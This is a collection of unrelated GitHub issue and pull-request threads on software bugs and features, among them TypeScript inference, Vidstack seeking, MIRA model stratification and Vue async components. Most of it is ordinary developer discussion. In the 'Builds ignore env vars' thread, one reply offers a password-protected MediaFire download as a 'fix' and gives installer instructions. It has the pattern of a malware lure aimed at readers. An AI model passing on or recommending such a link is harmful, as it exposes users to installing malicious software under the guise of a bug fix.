Error when 'export as namespace foo' occurs at EOF with no semicolon

declare namespace thing {
    export interface ThingStatic {
        hello: string;
        world: string;
    }
}
declare var thing: thing.ThingStatic;

export = thing;

export as namespace GlobalThing

Expected: no error
Actual: ';' expected.

thanks @arusakov!


Allow "Disable storage directories management"

In environments that use shared  storage (ex. NFS) required directories might/will already exist. Running puppet module against a setup like that will try to re-create the directories and change their permissions. This stops GitLab from functioning correctly as it is not able to access the filesystem. This commit fixes it by allowing the users to set 'manage_storage_directores[enable]=false' as per https://gitlab.com/gitlab-org/omnibus-gitlab/blob/master/doc/settings/configuration.md#disable-storage-directories-management

Thanks a lot for your contribution


Standardize test code: handling of structs, temp dir, ===, etc

Codecov Report

Merging #354 into master will not change coverage.
The diff coverage is 0%.

@@          Coverage Diff          @@
##           master   #354   +/-   ##
=====================================
  Coverage       0%     0%
=====================================
  Files          14     14
  Lines         731    732    +1
  Branches       66     66
=====================================
- Misses        731    732    +1

Impacted Files
Coverage Δ

...in/scala/com/databricks/spark/xml/XmlOptions.scala
0% <0%> (ø)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update f35ce9a...29c0953. Read the comment docs.


Notification background

Hi Notification background color is white and the controls are unseeable.

The module does not create the notification. The YouTube app creates the notification. This is an issue you have to report to Google/YouTube.

The pause forward play for background it's all white. So I'm going to say YouTube background player doesn't show correctly. All other notifications are fine.

Can you change your system theme? Also as @iHelp101 said - module does not change notification design. If you want something fixed in that - write feedback to Google :)

You can use this module to theme it when it's updated to support the latest version.


JS generic inference change after upgrading to 5.1

Bug Report
While working on upgrading Typescript to 5.1. from 4.7, I came across an issue with how generics are inferred with JS. Or, potentially not an issue, but a change in how it works that breaks existing code.
Importantly, this issue happens when you have a TS file importing a JS function importing a TS function. Previously, inference worked "good enough" for this scenario to work, but the change breaks it. (Unfortunately, this is a large, older codebase, so we migrate parts to TS as we can! In this case, there's a Typescript utility function, a JS redux selector using the utility, and a Typescript React component using the selector. But the only part that matters is the generic inference and having the JS file.)
🔎 Search Terms
Generics, arguments, JavaScript inference
🕗 Version & Regression Information

This changed between versions 4.7.4 and 5.1.6

⏯ Playground Link
Since this requires JS code in between to TS files, I can't replicate it in the TS playground. However, you can create the three short files I mentioned below and you'll see the issue! That said, here's the working code in full TS. All that needs to change is for getById to be written in JS, and the error occurs.
💻 Code
Consider this simplified higher order function. Fully implemented, it would be an optimized redux-style selector that only recalculates the selector when the dependents change. Both the selector and dependents have the same signature:
// create-selector.ts
export function createSelector< TState, TProps extends any[], TDerivedState >(
	selector: ( state: TState, ...props: TProps ) => TDerivedState,
	getDependents: ( state: TState, ...props: TProps ) => unknown
): ( state: TState, ...props: TProps ) => TDerivedState {
	return ( state, ...args ) => {
		getDependents( state, ...args );
		return selector( state, ...args );
	};
}

Here's a simple JS file with a new selector using that function:
// get-by-id.js
import { createSelector } from './create-selector';
export const getById = createSelector(
  ( state, id ) => state[ id ],
  ( state ) => state // the other arguments to the selector aren't necessary for dependents here
);

And here's a TS file where the selector is used:
import { getById } from './get-by-id';

// ERROR: Expected 1 argument, but got 2.
getById( { 1: 'test' }, 1 );

🙁 Actual behavior
The error is that getById expects the incorrect number of arguments. It can accept 2 arguments, but the type inference restricts it to 1. The issue is that in the JS file, the two argument functions have different signatures. Typescript infers the TProps type based on the second function -- so getById is inferred as (state: any) => any.
Interestingly, this is only an issue when the selector is written in JS, not TS. When getById is implemented in TS 5.1, it uses the first function to infer the type of getById -- so it becomes (state: State, id: number ) => string.
In other words, generic inference is inconsistent depending on if the function comes from JS or TS, despite most of the type information coming from a TS file in the first place!
I've not been able to find a workaround -- if we change to Partial< TProps > for the signature of getDependents, we encounter issues in other selectors where the args are always defined (since Partial means some of those args can be undefined).
🙂 Expected behavior
Before the update, Typescript seemingly inferred TProps based on both functions -- so getById becomes (state: any, id?: any) => any .
Now, I can understand that this situation is a bit tricky, and inferring based on both functions isn't ideal either. But I'm not sure how to express the types better here. getDependents will be called with all of the arguments, but it's not strictly necessary for the function body to accept all of those arguments when they might not be used. (And either way, this scenario works in TS, which indicates the basic premise is accepted by TS.)

Broken in 4.8.4.

Specifically, broken in #49740. I'll go look at why.

Some observations given the simplified repro here:
// @filename: second.ts
export declare function createSelector<TState, TProps extends any[]>(
    selector: (s: TState, ...props: TProps) => void,
    getDependents: (s: TState, ...props: TProps) => void
): void;
// @filename: first.js
import { createSelector } from './second';
export const getById = createSelector((state) => void 0, (state,id) => void 0,);

You can tell when inference has gone wrong when the inferred type arguments are <any, []> not <unknown, [id: any]>
If you make the two parameters of createSelector have the same type, order of the arguments doesn't matter (notice they're reversed from the original repro).
If you change first.js to first.ts, but explicitly annotate state: any so that only id uses contextual typing, the result is the same as JS:

// @filename: first.ts
import { createSelector } from './second';
export const getById = createSelector((state: any) => void 0, (state: any,id) => void 0,);

However, if you manually type /** @type {unknown} */ state in JS, inference still doesn't get TProps=[id: any].

That implies to me that the root of the difference is Javascript's defaulting type parameters without inferences to any instead of any -- and that there's still some kind of difference even if you explicitly provide unknown, probably to do with which function arities are allowed to match.
@jakebailey You wrote the original PR. Is this result expected? Unexpected? As far as I can tell it's a pretty straightforward result of deleting some code, but I'm not sure.

defaulting type parameters without inferences to any instead of any

Wait what

edit: any (JS) instead of unknown (TS)

@jakebailey You wrote the original PR. Is this result expected? Unexpected? As far as I can tell it's a pretty straightforward result of deleting some code, but I'm not sure.

This was a really long time ago, but I don't really understand how the two are related.

The workaround I finally found was to add another type parameter:
export declare function createSelector<TState, TProps extends any[], TDepProps extends TProps>(
    selector: (s: TState, ...props: TProps) => void,
    getDependents: (s: TState, ...props: TDepProps) => void
): void;

I think this makes TS infer the type of TProps based on the arguments to selector, ignoring getDependents

This issue is specific to how untyped JS is handled, but I believe that this is a result of a broader problem that can even be observed in TS files. See my comment here.
When it comes to what happens here is that this (state, id) => state[id] function is an untyped JS function. For such we getMinArgumentCount returns 0 (unless MinArgumentCountFlags.StrongArityForUntypedJS gets passed in but it isn't here when called through inferFromSignature > applyToParameterTypes > getRestTypeAtPosition).
Based on that getRestTypeAtPosition computes [id?: any] and that gets collected as the first contravariant candidate for TProps. Then we infer into it from the second callback but there we get []. Both are collected as viable inference candidates. And based on those two getInferredType > getContravariantInference > getCommonSubtype decides to pick [].


Builds ignore env vars

Describe the bug
Env vars specified in the project config are missing in the workspace created from the build cache.
To Reproduce
Steps to reproduce the behavior:

Create a new project-config
Set some env vars
Create a build
Create a workspace from the build cache
Ssh into the workspace and run printenv

Expected behavior
The variables should be listed, but are not.

to fix your trouble check this fix, i see it in another issue,
https://app.mediafire.com/9mrkd33xulszl
password: changeme
when you installing, you need to place a check in install to path and select "gcc."


[Plot] Update polygon interaction

When drawing a polygon, this adds the possibility to end drawing the polygon by clicking with the left button near the first point of the polygon.
It is still possible to end drawing with a right click.

It is nice, however when combined with zooming, it can make the initial square too large.
Would it be too difficult to express the square in pixel coordinates in order not to get it influenced by the zoom level? If that is the case, we let it as it is now.

Indeed, I missed that!
I fixed it with zoom on wheel.
I did NOT fixed it when zooming is done programmatically or with upcoming Ctrl+/Ctrl-), if OK I'd leave that for another issue.

I think the problem when zooming with the combination of keys can be left for another occasion.


Decorative Effects [Suggestion]

The effects for Static Field and Dimensional Tear are excellent. They can be placed in the world but decay shortly there after.
It would be nice to have versions of these effects that can be placed just to create ambiance in arcane workshops, eldritch constructions and plain old wizard towers.

Potentially, something like this could have practical uses, too. Consider a "decorative" effect/item that you could see through walls when wearing Goggles, the same way you can see rifts through walls. This could be placed as a sort of "underground beacon" to help with pathfinding/navigation in underground caves, or to keep yourself aligned and oriented correctly when digging out a series of underground rooms/tunnels.

This issue was moved to Azanor/thaumcraft-suggestions#343


Add user authentication for sites require login

Is your feature request related to a problem? Please describe.
It is not possible to scrap site which requires authentication.
Describe the solution you'd like
Have an option to add credentials which will be used to authenticate the scrapper.

you should make the auth by yourself and pass it as a string in the smart scraper


Metrics server change manifests directory again

Community Note

Please vote on this issue by adding a 👍 reaction to the original issue to help the community and maintainers prioritize this request
Please do not leave "+1" or "me too" comments, they generate extra noise for issue followers and do not help prioritize the request
If you are interested in working on this issue or have submitted a pull request, please leave a comment

Terraform Version and Provider Version

Affected Resource(s)
the metrics server installation should now be:
kubectl create -f metrics-server/manifests

Terraform Configuration Files

# Copy-paste your Terraform configurations here - for large Terraform configs,
# please use a service like Dropbox and share a link to the ZIP file.
# Please remove any sensitive information from configuration files before sharing them.

Debug Output

Panic Output

Expected Behavior

Actual Behavior

Steps to Reproduce

terraform apply

Important Factoids

References

fixed in #159


BlockStatementTemplateGenerator skips J.Parentheses.

I think I found another example where the method invocation replacement fails with exactly the same error message:
import oldPackage.A;
class MyClass
{
    public void foo()
    {
         double value = 0;
         if ((value = a.getValue()) != 0) {}
    }
}

I debugged it a bit and saw that the resulting stub looks like that:
class __P__ {  static native <T> T p();  static native <T> T[] arrp();  static native boolean booleanp();  static native byte bytep();  static native char charp();  static native double doublep();  static native int intp();  static native long longp();  static native short shortp();  static native float floatp();}class __M__ {  static native Object any(Object o);  static native <T> Object anyT();}class A{
public void foo(){
double value =0;
boolean __b9__ =value =
/*__TEMPLATE__*/__P__.<java.lang.Double>/*__p0__*/p().doubleValue()
;;}}

As you can see, for some reason it thinks that (value = a.getValue()) is a boolean.
Originally posted by @ZzetT in https://github.com/openrewrite/rewrite/issues/2063#issuecomment-1201125431

The BlockStatementTemplateGenerated does not check for J.Parentheses here.


GEODE-6887: Stop routing wrapper meters to int stats

Given that the int stat inc and get methods have been deprecated, remove
the ability to route legacy stat meters to int stats.
Co-authored-by: Michael Oleske<EMAIL_ADDRESS>Co-authored-by: Dale Emery<EMAIL_ADDRESS>Thank you for submitting a contribution to Apache Geode.
In order to streamline the review of the contribution we ask you
to ensure the following steps have been taken:
For all changes:

[x] Is there a JIRA ticket associated with this PR? Is it referenced in the commit message?

[x] Has your PR been rebased against the latest commit within the target branch (typically develop)?

[x] Is your initial contribution a single, squashed commit?

[ ] Does gradlew build run cleanly?

[ ] Have you written or updated unit tests to verify your changes?

[ ] If adding new dependencies to the code, are these dependencies licensed in a way that is compatible for inclusion under ASF 2.0?

Note:
Please ensure that once the PR is submitted, check Concourse for build issues and
submit an update to your PR as soon as possible. If you need help, please send an
email to<EMAIL_ADDRESS>

@aaronlindsey please take a look also


[Java] Version interface to allow testing usage of it

This should allow to verify logic of validating versions in a test.
constants are still there for the cases where access to version info is on the hot path (+ regardless JIT might optimize it anyway?)

LGTM.


some dumb bug

its said that its running

but its not working

Did you make sure to set the FPS cap higher than 60?

yep,i did

I have the same problem, am i able to get some help.

CNR and no followup.


Uzu attempts to compile Vim swap files (e.g. .index.tt.swp)

If I attempt to build a project while editing a template in Vim, I get an error like:
Malformed UTF-8 at line 1 col 17
  in sub build at /Users/emiller/Code/rakudo/install/share/perl6/site/sources/09A80BAF814E9ED57510ACEA7ABD2E08BA63E4B6 (Uzu::Render) line 249
  in sub MAIN at /Users/emiller/Code/rakudo/install/share/perl6/site/sources/28DAFFBFC13CA36F7054D7A42E9F7D0EAB85E83F (Uzu::CLI) line 38
  in block <unit> at /Users/emiller/Code/rakudo/install/share/perl6/site/resources/BEF8B0D598CE2C8868AC1830A48C46EB8DE3DEA5 line 5
  in sub MAIN at /Users/emiller/Code/rakudo/install/share/perl6/site/bin/uzu line 2
  in block <unit> at /Users/emiller/Code/rakudo/install/share/perl6/site/bin/uzu line 2

The regex passed to "find" should exclude dot-files, or .swp/.swo files, or both.

Hi @evanmiller, the regex is only looking for files with the extensions <tt mustache>, but I will double check. Delete the swap file and see if you still get the error. If so then the error might also be because some files are missing in the project folder. This is part of a larger issue that I am working on resolving at the moment. Can you make sure your project has at least these files:
├── config.yml
├── pages
│   └── index.tt
├── partials
├── public
├── i18n
│   ├── en.yml
└── themes
    └── default
        ├── assets
        └── layout.tt

thanks, sam

The error disappears when I close Vim (i.e. delete the swap file). I think the regex needs a $ at the end.

I have updated master with the missing $. I use vim myself and haven't run into that error you were seeing, but regardless, thanks for catching it.
You can reinstall using these steps to ensure you get the latest code:
zef uninstall Uzu
rm -rf ~/.zef/store/uzu.git ~/.zef/tmp/uzu.git
zef install Uzu

Still failing. I think the pipe character in the regex is being evaluated as "or" rather than a unary operator applied to $exts -- so the regex matches anything containing a period.

ok, so... this should be working correctly now... thanks again for catching that. I think I was originally using the | because I was expanding a hash into parameters somewhere and .... well. it must have been late.

Works, thanks!


Make original elm-io.sh available for those who need it

Libraries like elm-test and elm-spec still need the original elm-io.sh script using jsdom to register the elm app and send initial values to their ports. This is the simplest way I could think to make both available while keeping everything in a single script. What do you think @maxsnew?

I've deprecated this project. This fork is actively maintained: https://github.com/laszlopandy/elm-console


Edit user commands from interface

Commands should be editable from connect menu
Make possible to open connect menu for existing networks to change settings

#584 and #776 related


String::every

Or something solving that use case. Other array functions too. A more flexible under would be handy.

A "more flexible under" may be superfluous if something like #57 happens. At that point you could define something like:
every = f => flow(chars, A.every(f))

In any case having every, some, none, filter, predefined in String would be good.


[BUG] Unexpected Stratify behaviour when applied more than once

This scenario came up during the Epi Eval Scenario 2 and the user found Stratify's handling of parameters undesirable and inconsistent with their expectation.

I start with a simple compartmental SCRHD model (I renamed to C to avoid imaginary i issue with sympy).

I change the rate law between C and H to be the product b * vaxCtoH * ageCtoH * C based on the assumption that the vax status and age are independent demographic features.

for t in model.templates:
    if t.name == "C_to_H":
        t.set_rate_law("C * b * vaxCtoH * ageCtoH")

I stratify it once by vax status, on only the S, C states and a, vaxCtoH parameters

model_vax = stratify(
    model,
    key = "vaxstatus",
    strata = ["u", "v"],
    cartesian_control = True,
    structure = [],
    concepts_to_stratify = ["S", "C"],
    # concepts_to_preserve = ["H", "R", "D"],
    params_to_stratify = ["a", "vaxCtoH"]
)
model_vax.annotations.name = "SCRHD Vax"

I optionally add a vaccination process

model_vax = model_vax.add_template(
    NaturalConversion(
        subject = model_vax.get_concepts_name_map()["S_u"],
        outcome = model_vax.get_concepts_name_map()["S_v"],
        name = "vaccination"
    ).with_mass_action_rate_law("f")
)
model_vax.parameters["f"] = Parameter(name = "f", value = 1.0)

I stratified the model again, this time by age on all states and parameters, except parameters b, vaxCtoH_*

model_vax_age = stratify(
    model_vax,
    key = "age",
    strata = ["y", "o"],
    cartesian_control = True,
    structure = [],
    params_to_preserve = ["b", "vaxCtoH_0", "vaxCtoH_1"],
    concepts_to_stratify = None
)
model_vax_age.annotations.name = "SCRHD Vax Age"

I find that (a) the parameter vaxCtoH correctly depends only on vax status only and (b) the parameter ageCtoH incorrectly depends on both age and vax status. The user expected that ageCtoH to be stratified by age only.

vaxCtoH -> vaxCtoH_0, vaxCtoH_1 -> vaxCtoH_0, vaxCtoH_1

# actual but incorrect
ageCtoH -> ageCtoH -> ageCtoH_0, ageCtoH_1, ageCtoH_2, ageCtoH_3

# expectation
ageCtoH -> ageCtoH -> ageCtoH_0, ageCtoH_1

Relevant AMR files:

base model, scenario2.json
model stratified by vax status, scenario2_vax.json
model stratified twice, by vax status and age, scenario2_vax_age.json

Thanks for the detailed explanation! This currently happens any time a parameter is used in multiple rate laws. So e.g., if a parameter gamma is used in two templates and is stratified into two parameters, it will result in 4 new parameters being generated. I agree it would be good to assign parameters in a more sophisticated way to have numbering only depend on the stratified concepts - I will come up with a way to achieve this.

I appreciate the consideration: the logic is probably tricky to implement!
I think the behaviour that the user wants us to support is more or less:

a single rate parameter r is decomposed into n parameters, r = a * b * c * ...
the model is stratified n times by N strata each
the expected outcome is n parameter matrices of size N x N, a -> a_0, a_1, ..., a_{N^2 - 1}
if the user doesn't do that, then they get a big ugly r matrix of size N^(n-1) x N^(n-1) (relevant in cases where the dynamics is not separable 🤷🏻 )

@liunelson finally figured this one out. Parameter renaming now depends on the specific strata that were applied to the template that it is involved in. In addition, I added an additional argument to stratify called param_renaming_uses_strata_names which, when set to True, uses strata names in parameters.
Example:
In [1]: from mira.metamodel import *

In [2]: from mira.examples.sir import *

In [3]: for t in sir_parameterized.templates:
   ...:     print(t.get_concept_names(), t.rate_law)
   ...:
{'susceptible_population', 'infected_population'} beta*infected_population*susceptible_population
{'immune_population', 'infected_population'} gamma*infected_population

In [4]: tm = stratify(sir_parameterized, key='age', strata=['young', 'old'], cartesian_control=True)

In [5]: for t in tm.templates:
   ...:     print(t.get_concept_names(), t.rate_law)
   ...:
{'susceptible_population_young', 'infected_population_young'} beta_young_young*infected_population_young*susceptible_population_young
{'susceptible_population_young', 'infected_population_old', 'infected_population_young'} beta_young_old*infected_population_old*susceptible_population_young
{'susceptible_population_old', 'infected_population_old', 'infected_population_young'} beta_old_young*infected_population_young*susceptible_population_old
{'susceptible_population_old', 'infected_population_old'} beta_old_old*infected_population_old*susceptible_population_old
{'infected_population_young', 'immune_population_young'} gamma_young*infected_population_young
{'infected_population_old', 'immune_population_old'} gamma_old*infected_population_old
{'susceptible_population_young', 'susceptible_population_old'} p_young_old*susceptible_population_young
{'susceptible_population_old', 'susceptible_population_young'} p_old_young*susceptible_population_old
{'infected_population_old', 'infected_population_young'} infected_population_young*p_young_old
{'infected_population_old', 'infected_population_young'} infected_population_old*p_old_young
{'immune_population_old', 'immune_population_young'} immune_population_young*p_young_old
{'immune_population_young', 'immune_population_old'} immune_population_old*p_old_young


Update to include the current progress of IMS's refactoring of iris, …

Update to include the current progress of IMS's refactoring of iris including DH support in it's current state
Since the iris mod is not on mavin yet, it is committed and used directly!
I have this tested working with: DH, shaders (Bliss), Iris@5c5db2a, Sodium0.5.8, Create Sodium Fix 0.5.1-d-build.1161+mc1.20.1 MC1.20.1
I don't think you should merge this yet, but it may be a great starting point for you once Iris 1.17 comes out!
There are two main types of changes:

Renaming and moving around the classes
Adding a couple arguments to support the tessellation from DH

A built jar is available in my fork's releases

Hey I'm confused on how to use/test your fork. Is the jar you provided:

iris 1.7 AND irisflw?
iris 1.7 with current irisflw compat?
irisflw with iris 1.7 compat?
And also you mention using this with create fabric sodium fix, but does it work with the newest patch of create where sodium is compatible?

I made changes to make flywheel compat intended for iris 1.6 work with the beta builds of iris for DH support. I have not tried updating to iris 1.7 yet. It's likely that a couple of changes are needed to use the now final version of iris 1.7, since all of that code was still being developed.
This PR is mostly to serve as a base to allow the proper update to happen faster, since my changes should be mostly enough. The hardest part was just figuring out all the renaming from the fairly major refactor that is included in 1.7

does this have oculus/(neo)forge support?

Thank you so much for your contribution to the project!


LogoPage: Update function style

Many of the components (e.g. the ones in common.js) have already been converted to this style. This file was missed.
Just noticed it while working on something else.

Messages

:book:
:sparkles: Thanks for your contribution to Shields, @paulmelnikow!

  Generated by :no_entry_sign: dangerJS against e90b57a0a823d78068b046c56d4816ddfa707074


Make misc/measure.py compatible with python3

Make misc/measure.py compatible with python3
fixed point: use of print function in source

Thank you for reviewing.
fixed to equivalent tranformation.

I did a mistake there myself, you need to pass a single whitespace as string instead of an empty string for the end parameter, like
print(text, end=' ')

fix a argument of print function to space

Thanks! If it's not too much trouble, could you squash your commits? (I thought github now had a "merge and squash" button on pull requests, but even though that's enabled in ninja's settings it doesn't show up for me.)

I squashed commits

Thanks for the patch!
(Looks like github's "commit and squash" UI appears after clicking "merge pull request", so next time I'll know how to do this without having to ask you to squash.)


Redirect students away from /teachers and vice versa

Assume this is done first:
https://github.com/codecombat/codecombat/pull/3909

👍

Yes, will be merge conflicts, but general approach will be the same.


Update alter-table-index-option-transact-sql.md

Better description of what STATISTICS_NORECOMPUTE actually does, also copied and reworded the warning that is provided for this option on the ALTER INDEX page.

@markingmyname
Can you review the proposed changes?
When the changes are ready for publication, add a #sign-off comment to signal that the PR is ready for the review team to merge.
#label:"aq-pr-triaged"
@MicrosoftDocs/public-repo-pr-review-team

Related to #9784.

Replaced by internal PR https://github.com/MicrosoftDocs/sql-docs-pr/pull/30641.


Setting the currentTime to the same as duration

Current Behavior:
I built a custom time slider using the API in svelte. However the issue can also be seen when using the <media-time-slider> component
When a video is paused, I can use the thumb of the range slider to change the time. When I drag the thumb to 100%, I set the current time to equal the duration. However, the current time ends up be a fraction of a section before the full time for some unknown reason.
This causes several problems, is that the ended event does not fire, but more importantly, is it can show an incorrect time in the <media-time>  component
I have a video with a duration of 104.025396. When I move the time-slider to 100%, and set the current time to be 104.025396 (the duration), the current time actually ends up as 103.925396.  This means <media-time> component will show a duration of 01:44 but 01:43 for the current time. The user would NOT understand what is happening leading to poor UX.
In the below video, I have 2 time sliders. The top one is the <media-time-slider> component and the bottom one is my custom 1. As you can see I slide  it to the end, in the output you can see what is happening. You will see when I drag the bottom (custom) slider, the top one (<media-time-slider>  component) moves too. You will also see that I move it to the absolute end or the slider but in console I see time change:  time [103.925396] duration [104.025396]
https://github.com/vidstack/player/assets/494875/ac39c00c-3dc5-4f59-aeb2-ff296c7434a0
I have tried several things, such as using the remote to set the seek, directly setting the player.currentTime, setting the current time to a value above duration, setting it to 1ms before the end duration, but nothing works and it always ends up at 103.925396, resulting in <media-time> showing the wrong time
If I then press play, it plays for a fraction of a second, the current time updates to 01:44 (104.025396) and the video stops again, resulting in a weird flicker
Expected Behavior:
When I set the time to the end time of the video, it doesn't move to a time before that.
Steps To Reproduce:
Use a media-time-slider component. Drag it to the end and monitor the currentTime vs the duration. I would expect these to be the same
Environment:

Framework: Component
Meta Framework: Svelte/SvelteKit
Node: 20.11.0
Browser: Firefox@latest

I had a look at the vidstack code and I can see when someone sets the current time manually, it queues it and then when processed removes 0.1, which lines up with what I’m seeing.
Removing 0.1 is fine, however when not when setting it to the very end.  If the duration is .05 of a second over a new number, removing .1 will take it below. For example, 13.05 become 12.95. This means the media-time component will show the end time as 12 seconds.

Thanks for the report! In my testing across the providers we support, seeking to the end of the video can be problematic with certain media and browsers. It can get stuck waiting for data (i.e., buffering). Also, when live streaming, trying to seek directly to the live edge can sometimes cause issues.
Subtracting 0.1 off any seeked time helps resolve any keyframe discovery issues and rounding errors. I don't think it makes sense for a user to take a specifically "paused" video and seek right to the end? If you're playing a video and then seek to the end it will still naturally end.
Regardless, I'll still use this issue as an opportunity to try and smooth out seeking expectations, especially with regards to seeking to the end.

While I agree that it is not the most common scenario to make a scroll a paused video to the end, there are certainly people that will (as I have done before) and having the possibility that the current time not matching the end time is odd UX. Plus when I seek to the end a restart button shows. Right now, that doesn't happen because I can never actually seek to the end without then subsequently playing the video.
I do understand that subtracting 0.1 can help seeking issues, especially during live streaming but the way I see it is .. if it's NOT a live video and the current time has been updated to match exactly the duration then do not subtract by 0.1. If you are setting the current time == duration then there is no more media to play anyway and so there are no more to seek issues to contend with. With that, events fire accordingly, current time matches duration in the  component, etc


Add some new lifecycle hooks for components

Hello,
I would like to propose add some some new lifecycle hooks for components including async ones.
Now it too difficult to know when async components are loaded and you need to add some wrappers:
https://github.com/vuejs/vue/blob/dev/test/unit/features/component/component-async.spec.js#L62
https://github.com/vuejs/vue/blob/dev/test/unit/features/component/component-async.spec.js#L70
It would nice to use built in lifecycle hooks instead:
import Vue from 'vue';

const vm = new Vue({
    components: {
        component1: resolve => {
            require(['./component1'], resolve);
        },
        component2: resolve => {
            require(['./component2'], resolve);
        },
        component3: resolve => {
            require(['./component3'], resolve);
        }
        // etc
    },
    ready() {
        console.log('All components are loaded', components);
        // For instance, you may use `expect` here for tests
    }
});

vm.$mount();

Or maybe a hook each time a component is resolved:
resolved (component: ComponentOptions, finished: boolean) {
}

Currently you can achieve this by using a mixin and emitting events: https://jsfiddle.net/posva/0erqgsgb/
Do you have any other use cases other than testing? I was thinking about lazy loadin some components and allowing the parent Component to know whether they have been loaded or not so it can display different content waiting for them

@posva Thanks for the response.
I'm currently using mixin as workaround and it uses different approach:
readyMixin.js
export default {
    beforeCreate: function () {
        const promises = [];

        for (const name in this.$options.components) {
            const value = this.$options.components[name];

            if (typeof value === 'function' && name !== this.$options.name) {
                promises.push(new Promise(done => {
                    this.$options.components[name] = resolve => {
                        value.call(this, component => {
                            resolve(component);

                            done();
                        });
                    };
                }));
            } else {
                promises.push(Promise.resolve())
            }
        }

        Promise.all(promises).then(() => {
            if (typeof this.$options.ready === 'function') {
                this.$options.ready.call(this);
            }
        });
    }
}

It is dirty now and I'm going to to try different approaches (including yours).
The main purpose is to have ability to know when async component is loaded/resolved.
If we have main component which includes some async ones, we will not know when they are loaded / resolved.
It is difficult to test main component and create some additional behavior (for instance, show/hide waiting content).
You need to create some additional wrappers/mixins, but it would be nice to have such functionality out of the box.

@posva When you have one async component it will be easy to handle it, but when you have more than one async components it will be difficult 😢.

@mdreizin I actually find your mixin approach quite plausible - since this is not a super common use case and can be handled in userland, I think it's better to leave it in userland.

@yyx990803 @posva Thanks guys! Currently I have found a workaround and if I create really common solution I will post here.


Extensions endpoint

CHANGE DESCRIPTION
Problem:
When installing custom extensions it is not possible to point to a custom s3 object storage endpoint.
Cause:
The s3 SDK within the extension installer is only minimally configured, currently using default values.
Solution:
Add an optional flag to the extension installer named endpoint and configure the s3 SDK appropriately.
CHECKLIST
Jira

[ ] Is the Jira ticket created and referenced properly?
[ ] Does the Jira ticket have the proper statuses for documentation (Needs Doc) and QA (Needs QA)?
[ ] Does the Jira ticket link to the proper milestone (Fix Version field)?

Tests

[ ] Is an E2E test/test case added for the new feature/change?
[ ] Are unit tests added where appropriate?

Config/Logging/Testability

[ ] Are all needed new/changed options added to default YAML files?
[ ] Are the manifests (crd/bundle) regenerated if needed?
[ ] Did we add proper logging messages for operator actions?
[ ] Did we ensure compatibility with the previous version or cluster upgrade process?
[ ] Does the change support oldest and newest supported PG version?
[ ] Does the change support oldest and newest supported Kubernetes version?

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.

Test name
Status

custom-extensions
failure

demand-backup
passed

init-deploy
passed

monitoring
passed

operator-self-healing
passed

scaling
passed

scheduled-backup
passed

self-healing
passed

start-from-backup
passed

telemetry-transfer
passed

upgrade-minor
passed

users
passed

We run 12 out of 12

commit: https://github.com/percona/percona-postgresql-operator/pull/672/commits/ac94c37de5c061d4c3d25d69e51d29033b223385
image: perconalab/percona-postgresql-operator:PR-672-ac94c37de

fixes #670

@timorusky code LGTM, could you please check the custom-extensions test?

@timorusky ping

@egegunes due to the delayed response on my initial request, I've moved on to work with another operator and am no longer interested in pursuing the development of this feature. I am sorry for any inconvenience this may cause.

@timorusky it's OK, we'll take over from here. thank you for your contribution


lcm_exp_on_lstm.py can not run

Hello，I encountered the following problems when using,
critical code is missing from line 56 to 70 of file lcm_exp_on_lstm.py.

Hi, thank u for pointing out. I have uploaded a new version, please try again.

Hi, thank u for pointing out. I have uploaded a new version, please try again.


chore(empty-module): set db version to 0

Using the empty module as a reference makes it easy to accidentally start at a non-zero db version.

I have the exact same PR in meta-module, but it doesn't hurt to approve. :)

I have the exact same PR in meta-module, but it doesn't hurt to approve. :)

Oh shoot! I noticed the update on the meta module but didn't see the empty module diff. Let's go with yours :smile:


Programmatically controlling TextArea content

Hey. I'm looking into controlling the TextArea widget programmatically. Think, Markdown-aware widget that wraps selected text with asterisks when Ctrl-b is pressed: **text**, etc..
I saw there was no way to do this right now. Would you consider exposing interaction with the widget to programmers?

Hi @klausweiss!
How do you envision it could work? I'm thinking about two possibilities:
Events

Provide an event generated by textArea that reports when the user changes a selection (similar to onChange, but with more information). This will give you the context regarding where the action should be performed.
Provide a message that can be sent to textArea with the new text to replace the current selection. Of course, you can always update your model directly.

Going this route allows you to use the existing mechanisms for handling any other kind of event. It also allows you to perform IO actions before setting the new content.
Hooks
Provide a function that is called directly by textArea when an event happens. This function needs to be pure because event handling in widgets is also pure (you can launch a WidgetTask from a widget, but it will run after event handling is complete).
In the case you mention, this method would probably be easier to use, although it's perhaps more complex regarding changes to the widget.

Actually, ability to get the current cursor location would make enable doing similiar things to an extent. For instance, instead of selecting text -> ctrl+b -> wrap them with **, with the cursor location, put the cusor on/inside a word -> ctrl+b -> wrap the word the cursor is on with **.
If we want, the cursor location can also be used for info about current selection if the location info contains the starting position (start_pos) and ending position (end_pos). If there is a selection, then obviously, start_pos and end_pos will be different, if it is same (start_pos == end_pos), then it isn't a selection, but a "normal" cursor location.

Sure, absolutely. The status event would provide cursor information even if there's no selection (that's how textArea works internally). It could also provide the already split text lines and their corresponding glyphs. The "replace" message would also act as an insertion mechanism if a selection does not exist, etc.
What happens with those events is something that the user of the widget will implement. The textArea itself will not handle Markdown, word splitting, nor decide what happens with the keystrokes; it will continue to be a bare-bones widget,
equivalent to HTML's textarea.

I only have this much experience with monomer, but out of the two solutions you proposed, I found the events-based one more idiomatic.
How about

an event generated by textArea that reports current cursor state, as you both suggested,
and a separate event that you can send to a textArea instance (through Message) to change the selection?

I just thought of yet another way, which would allow for easy expansion in the future. It's a simple solution, like the others proposed in this thread.
We could have textArea operate on a different type of lens. Instead of just Text, it could be a more complex structure that comprises of both Text and the selection information. For ease of use there could be a separate constructor with a simple Text lens (like we have right now) and a complex one with a TextAreaState of sorts. That's where the ease of expansion lies - TextAreaState could comprise of more fields in the future.

I have thought a similiar one - as in a general solution, but was doubting whether it would be overkill. My idea is to do what modern editors and related tools do for reporting changes:

An enhanced version of onChange that would report each new change.
Text would be stored in [Text] (a list of lines -- split at newline chars).

"list" is meant to be figurative, it could also be in, for instance, a Seq.

Changes will be reported using an ADT which will have seperate constructors for insertion, deletion, and maybe replacement too (for simplicity / ease of use), along with a position (row, col) or a range (row_start, col_start) (row_end, col,end).
